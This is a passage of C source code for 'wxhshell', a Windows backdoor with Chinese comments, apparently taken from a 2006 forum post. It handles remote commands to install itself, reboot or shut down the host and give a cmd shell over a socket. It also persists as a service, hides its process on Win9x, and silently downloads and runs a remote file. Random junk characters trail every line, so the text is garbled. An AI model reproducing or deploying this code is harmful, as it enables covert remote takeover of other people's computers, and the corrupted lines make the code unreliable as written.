      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `BKo`@  
    break; G| pZ  
  } }$W4aG*[  
  // 安装 .I{b]6  
  case 'i': { \Q"o\:IoIT  
    if(Install()) [>"bL$tlo*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6JWCB9$4  
    else $AAv%v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <{7CS=)  
    break; sDnHd9v<?t  
    } &sL(|>N  
  // 卸载 @;}bBHQz{p  
  case 'r': { eqcV70E8cK  
    if(Uninstall()) %dTkw+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 66<3zadJZU  
    else SCk2D!u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l-"c-2-!  
    break; aH)$#6${Ap  
    } 3kFOs$3  
  // 显示 wxhshell 所在路径 @Md%gEh;&  
  case 'p': { H{'<v|I  
    char svExeFile[MAX_PATH]; :.['e`  
    strcpy(svExeFile,"\n\r"); ^Ye i9bXl  
      strcat(svExeFile,ExeFile); }LS:f,1oGp  
        send(wsh,svExeFile,strlen(svExeFile),0); ~YHy '.  
    break; OKfJ  
    } <@FOqi{o{  
  // 重启 <Vyv)#32o3  
  case 'b': { orn9;|8q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oxE'u<  
    if(Boot(REBOOT)) ;crQ7}k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $x5P5^Y  
    else { n(.y_NEgV!  
    closesocket(wsh); I0 a,mO;m  
    ExitThread(0); v8"plx=3  
    } \P]w^  
    break; >ir'v5  
    } M:|Z3p K  
  // 关机 H8~<;6W  
  case 'd': { J#B% #X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TEl :;4  
    if(Boot(SHUTDOWN)) >TUs~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c 6sGjZdR  
    else { `_sc_Y|C!  
    closesocket(wsh); pN/)$6=  
    ExitThread(0); M}NmA  
    } 0!F"s>(H  
    break; !%x8!;za  
    } )W)m?%  
  // 获取shell UKp- *YukT  
  case 's': { Q[^IX  
    CmdShell(wsh); zCKZv|j6  
    closesocket(wsh); {J q[N}  
    ExitThread(0); T;jp2 #  
    break; 7''l\3mIn  
  } kH1hsDe|&y  
  // 退出 ";38v jIV  
  case 'x': { YQOdwc LG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J@Eqqyf"  
    CloseIt(wsh); 98h,VuKVaB  
    break; KE:PRX  
    } T1hr5V<U  
  // 离开 ~U`oew  
  case 'q': { B" TZ8(<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Eq^k @  
    closesocket(wsh); k|Vq-w  
    WSACleanup(); Zh`lC1l'  
    exit(1); / ]_T  
    break; y0>asl  
        } ^RytBwzKM  
  } Rk.YnA_J6  
  } Rkm1fYf  
6H67$?jMyJ  
  // 提示信息 <jF]SN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $.kP7!`:,  
} yC !`6$  
  } wXp A1,i  
'/U[ ui0{  
  return; ~n%~ Z|mMF  
} xaSvjc\  
<y=VDb/  
// shell模块句柄 `,d*>  
int CmdShell(SOCKET sock) $u_0"sUV  
{ !Uz{dFJf;  
STARTUPINFO si; 3}=r.\]U  
ZeroMemory(&si,sizeof(si)); L^} Z:I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0F-X.Dq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1C\OL!@L  
PROCESS_INFORMATION ProcessInfo; D_ xPa  
char cmdline[]="cmd"; lxy_O0n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |t*(]U2O0  
  return 0; t m?[0@<s  
} n"8vlNeW  
IY6DZP  
// 自身启动模式 S-{[3$  
int StartFromService(void) R;&C6S  
{ By{zX,6'  
typedef struct A<l8CWv[  
{ jZeY^T)f"  
  DWORD ExitStatus; tGnBx)J|  
  DWORD PebBaseAddress; #pu6^NTK  
  DWORD AffinityMask; bqp6cg\p  
  DWORD BasePriority; XJy~uks,  
  ULONG UniqueProcessId; zb.^ _A  
  ULONG InheritedFromUniqueProcessId; ;EbGW&T  
}   PROCESS_BASIC_INFORMATION; !s pp*Q)#\  
Ig75bZz   
PROCNTQSIP NtQueryInformationProcess; occ^bq  
OQMkpX-dH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I&~kwOP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \Zz"%i  
`<!Nk^2ap  
  HANDLE             hProcess; D7|[:``  
  PROCESS_BASIC_INFORMATION pbi; <+UEM~)  
bh|M]*Pq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b/'{6zn  
  if(NULL == hInst ) return 0; 3~Od2nk(x  
uc!j`G*]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S9R(;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `s5<PCq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X.hU23w  
:)VO,b~r  
  if (!NtQueryInformationProcess) return 0; $Llv6<B  
-SZXUN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,?k[<C  
  if(!hProcess) return 0; wqB{cr}!  
a0I+|fR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zWKnkIit,  
c*2 U'A  
  CloseHandle(hProcess); n% zW6}  
OE' ?3S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y,Dd} an  
if(hProcess==NULL) return 0; 3qJOE6[}%  
hw! l{yv  
HMODULE hMod; /ivcqVu]  
char procName[255]; _R&mN\ey5  
unsigned long cbNeeded; `i5U&K. 7  
NRu _6~^^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i ,Cvnp6Lv  
eKjmU| H  
  CloseHandle(hProcess); .j?`U[V%a  
Yt&Isi +  
if(strstr(procName,"services")) return 1; // 以服务启动 hhd%j6  
'i5 VU4?K  
  return 0; // 注册表启动 `)V1GR2 ES  
} -n&g**\w  
y4*i V;"  
// 主模块 8* 7t1$  
int StartWxhshell(LPSTR lpCmdLine) .4on7<-a  
{ <=.0 P/N  
  SOCKET wsl; 0_'(w;!wq:  
BOOL val=TRUE; m,}0p  
  int port=0; MU6|>{  
  struct sockaddr_in door; X`i'U7%I  
)!6JSMS  
  if(wscfg.ws_autoins) Install(); <T]%Gg8  
},58B  
port=atoi(lpCmdLine); Zjis0a]v~k  
(:9yeP1  
if(port<=0) port=wscfg.ws_port; k(LZ,WSR  
HJ#3wk"W  
  WSADATA data; E;!pK9wL|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $A~UA  
zVN/|[KP4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GL;@heP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y/=:F=H@w  
  door.sin_family = AF_INET; :})(@.H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z] ?Tx2|7  
  door.sin_port = htons(port); N(i%Oxp1  
.Zo%6[X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \:]  
closesocket(wsl); ^u'hl$`^  
return 1; "XPBNv\>_  
} %smQ`u|  
^(z7?T  
  if(listen(wsl,2) == INVALID_SOCKET) { vJZ0G:1  
closesocket(wsl); .OhpItn  
return 1; m2c>RCq  
} @1+C*  
  Wxhshell(wsl); 8VG6~>ux'>  
  WSACleanup(); t~5m[C[`w  
+m?;,JGt  
return 0; & \<!{Y<'  
MJ5Ymt a  
} FY;\1bt<<  
MTBHFjXO  
// 以NT服务方式启动 ,TeJx+z^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Ve-)rZ  
{ #,dNhUV#  
DWORD   status = 0; ?%RAX CK  
  DWORD   specificError = 0xfffffff; s5/5>a V  
;+v5li  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vb{5-v ;a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1{6BU!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % 8c <C  
  serviceStatus.dwWin32ExitCode     = 0; V11(EZJ/j  
  serviceStatus.dwServiceSpecificExitCode = 0; NUxOU>f  
  serviceStatus.dwCheckPoint       = 0; OJ#eh w<  
  serviceStatus.dwWaitHint       = 0; hxG=g6:G  
s|er+-'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d)@Hx8  
  if (hServiceStatusHandle==0) return; (!b_o A8V  
E :gS*tsY  
status = GetLastError(); w+A:]SU  
  if (status!=NO_ERROR) Skb,cKU  
{ 0e./yPTT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'XW[uK]w)  
    serviceStatus.dwCheckPoint       = 0; >?Y)evW  
    serviceStatus.dwWaitHint       = 0; 05sWN0  
    serviceStatus.dwWin32ExitCode     = status; Z_b^K^4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1XfH,6\8i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {u!Q=D$3  
    return; Yz<,`w5/6~  
  } V+\L@mz;  
nP]tc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q?"o.T';  
  serviceStatus.dwCheckPoint       = 0; jbQ N<`!  
  serviceStatus.dwWaitHint       = 0; g%C!)UbT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yf|,/{S  
} |W't-}yf  
}iGpuoXT`  
// 处理NT服务事件,比如:启动、停止 @|I:A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R$>]7-N}  
{ @ P:b\WCI  
switch(fdwControl) 0[A4k:  
{ {;:QY 1Q T  
case SERVICE_CONTROL_STOP: 48}L!m @  
  serviceStatus.dwWin32ExitCode = 0; C%c}lv8;^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P:~X az\F  
  serviceStatus.dwCheckPoint   = 0; XOOWrK7O  
  serviceStatus.dwWaitHint     = 0; NxOiT#YH  
  { M.DU^-7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J#k3iE}  
  } '(ZJsw  
  return; Mn)>G36(  
case SERVICE_CONTROL_PAUSE: Oup5LH!sW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p#14  
  break; 8PN/*Sa  
case SERVICE_CONTROL_CONTINUE: 0P MF)';R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "zN2+X"&  
  break; 1yFVF  
case SERVICE_CONTROL_INTERROGATE:  L#  
  break; yQP!Vt^  
}; T/[8w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xXa* d  
} S7|6dwQ&  
J A=9EnTU  
// 标准应用程序主函数 C-wwQbdG/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l7{]jKJue  
{ 0LX"<~3j  
Sn o7Ru2  
// 获取操作系统版本 @k< e]@r  
OsIsNt=GetOsVer(); ,s=jtK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gzHMZ/31  
@M]uUL-ze  
  // 从命令行安装 33R1<dRk  
  if(strpbrk(lpCmdLine,"iI")) Install(); D)kh"cK*1  
B/:+(|  
  // 下载执行文件 }JP0q  
if(wscfg.ws_downexe) { S\\3?[!p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W^o* ^v  
  WinExec(wscfg.ws_filenam,SW_HIDE); S%NS7$`a  
} jruXl>T!U  
\BRx dK'  
if(!OsIsNt) { UxGr+q  
// 如果时win9x,隐藏进程并且设置为注册表启动 *8QESF9  
HideProc(); N}$$<i2o  
StartWxhshell(lpCmdLine); =)h<" 2  
} O }ES/<an  
else \hlQu{q.  
  if(StartFromService()) 7g* "AEk  
  // 以服务方式启动 /]xu=q2  
  StartServiceCtrlDispatcher(DispatchTable); $0-}|u]5U  
else 7@[HRr  
  // 普通方式启动 y_s^dQe  
  StartWxhshell(lpCmdLine); fX:)mLnO/  
mYU7b8x_  
return 0; v?BVUH>#9  
}
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只看该作者 1 发表于: 2006-10-10
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